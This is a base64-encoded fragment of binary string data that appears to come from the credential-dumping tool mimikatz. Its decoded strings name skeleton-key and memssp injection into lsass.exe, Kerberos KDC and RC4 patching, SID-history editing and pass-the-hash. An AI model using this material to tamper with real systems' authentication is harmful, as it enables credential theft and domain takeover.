QAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbgB0AGwAbQAAAAAAAAAAAGwAbQAgACAAAAAAAAAAAAAKAFMAdQBwAHAAbABlAG0AZQBuAHQAYQBsACAAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAACoAIAAlAHcAWgAgACoACgAAAAAAJTAyeAAAAAAAAAAAAAAAAAAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAGMAbQBkAAAAAAAAAAAAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAAAAAAByAGUAZwBlAGQAaQB0AAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHQAYQBzAGsAbQBnAHIAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAAAAAAG4AYwByAG8AdQB0AGUAbQBvAG4AAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAZABlAHQAbwB1AHIAcwAAAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAHcAaQBmAGkAAAAAAAAAAABhAGQAZABzAGkAZAAAAAAAbQBlAG0AcwBzAHAAAAAAAHMAawBlAGwAZQB0AG8AbgAAAAAAAAAAAG0AaQBzAGMAAAAAAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAAAAAAB3AGwAYQBuAGEAcABpAAAAV2xhbk9wZW5IYW5kbGUAAFdsYW5DbG9zZUhhbmRsZQBXbGFuRW51bUludGVyZmFjZXMAAAAAAABXbGFuR2V0UHJvZmlsZUxpc3QAAAAAAABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAACQAoACUAdwBaACkAAAAAAAkAWwAlAHUAXQAgACUAdwBaACAAIQAgAAAAAAAAAAAAJQAtADMAMgBTAAAAAAAAACMAIAAlAHUAAAAAAAAAAAAJACAAJQBwACAALQA+ACAAJQBwAAAAAAAlAHcAWgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAAAAAAAAYwBvAG4AbgBlAGMAdABlAGQAAAAAAAAAYQBkAF8AaABvAGMAXwBuAGUAdAB3AG8AcgBrAF8AZgBvAHIAbQBlAGQAAAAAAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAAAAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAGEAcwBzAG8AYwBpAGEAdABpAG4AZwAAAGQAaQBzAGMAbwB2AGUAcgBpAG4AZwAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG4AZwAAAAAAIAAqACAAAAAgAC8AIAAlAHMAIAAtACAAJQBzAAoAAAAJAHwAIAAlAHMACgAAAAAAbgB0AGQAcwBhAGkALgBkAGwAbAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAYgBhAGMAawB1AHAAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAUwBlAGEAcgBjAGgAIAAlAHUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYQBkAGQAcwBpAGQAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBwAHIAbwB0AGUAYwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMASQBEAEgAaQBzAHQAbwByAHkAIABmAG8AcgAgACcAJQBzACcACgAAAAAAAAAAACAAKgAgACUAcwAJAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAEQAcwBBAGQAZABTAGkAZABIAGkAcwB0AG8AcgB5ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkAIQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYQBkAGQAcwBpAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAEQAcwBCAGkAbgBkADoAIAAlADAAOAB4ACAAKAAlAHUAKQAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAE8AUwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAIAAoAG8AbgBsAHkAIAB3ADIAawA4AHIAMgAgACYAIAB3ADIAawAxADIAcgAyACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAEkAdAAgAHIAZQBxAHUAaQByAGUAcwAgAGEAdAAgAGwAZQBhAHMAdAAgADIAIABhAHIAZwBzAAoAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAAAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAAAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAAAAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAUwBlAGMAbwBuAGQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAEYAaQByAHMAdAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABjAHIAeQBwAHQAZABsAGwALgBkAGwAbAAAAAAAAAAAAFsAUgBDADQAXQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAAAAAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABbAFIAQwA0AF0AIABkAGUAYwByAHkAcAB0ACAAcABhAHQAYwBoACAATwBLAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAZwByAG8AdQBwAAAAAAAAAG4AZQB0AAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAKACAAfABgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAAZABlAGIAdQBnAAAAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAAAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAHMAaQBtAHAAbABlACAAOwAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACAAKAAlAHUAKQAgACUAMAA4AHgACgAAAAAAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAAAAAABpAG0AcABvAHIAdABzAAAATABpAHMAdAAgAGkAbQBwAG8AcgB0AHMAAAAAAAAAAABzAHQAYQByAHQAAAAAAAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAAAAAAAAVABlAHIAbQBpAG4AYQB0AGUAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdQBzAHAAZQBuAGQAAABTAHUAcwBwAGUAbgBkACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAcgBlAHMAdQBtAGUAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAAAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAAAAAAJQB1AAkAJQB3AFoACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHUAAAAAAAkAJQB1AAAACQAgAAAAAAAJACUAcAAAAAkAJQBTAAAACQAtAD4AIAAlAFMAAAAAAAoACQAlAHAAIAAtAD4AIAAlAHAACQAlAFMAIAAhACAAAAAAACUAUwAAAAAAAAAAACMAJQB1AAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAAAAAABSAGUAbQBvAHYAZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAAUwB1AHMAcABlAG4AZAAgAHMAZQByAHYAaQBjAGUAAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAHAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABzAGgAdQB0AGQAbwB3AG4AAAAAAAAAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAATABpAHMAdAAgAHMAZQByAHYAaQBjAGUAcwAAAAAAAABTAGUAcgB2AGkAYwBlACAAbQBvAGQAdQBsAGUAAAAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAAAAAAFMAdABvAHAAcABpAG4AZwAAAAAAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFMAaAB1AHQAZABvAHcAbgAAAAAAAAAAAHMAZQByAHYAaQBjAGUAcwAuAGUAeABlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGUAcgByAG8AcgAgACUAdQAKAAAAAAAAAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAZQB4AGkAdAAAAAAAAAAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAYwBsAHMAAABDAGwAZQBhAHIAIABzAGMAcgBlAGUAbgAgACgAZABvAGUAcwBuACcAdAAgAHcAbwByAGsAIAB3AGkAdABoACAAcgBlAGQAaQByAGUAYwB0AGkAbwBuAHMALAAgAGwAaQBrAGUAIABQAHMARQB4AGUAYwApAAAAAABhAG4AcwB3AGUAcgAAAAAAAAAAAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAAAAAABjAG8AZgBmAGUAZQAAAAAAUABsAGUAYQBzAGUALAAgAG0AYQBrAGUAIABtAGUAIABhACAAYwBvAGYAZgBlAGUAIQAAAAAAAABzAGwAZQBlAHAAAAAAAAAAAAAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAATABvAGcAIABtAGkAbQBpAGsAYQB0AHoAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHQAbwAgAGYAaQBsAGUAAAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAAAAAAAAdgBlAHIAcwBpAG8AbgAAAAAAAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABtAGEAcgBrAHIAdQBzAHMAAAAAAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAHMAdABhAG4AZABhAHIAZAAAAAAAAAAAAFMAdABhAG4AZABhAHIAZAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAo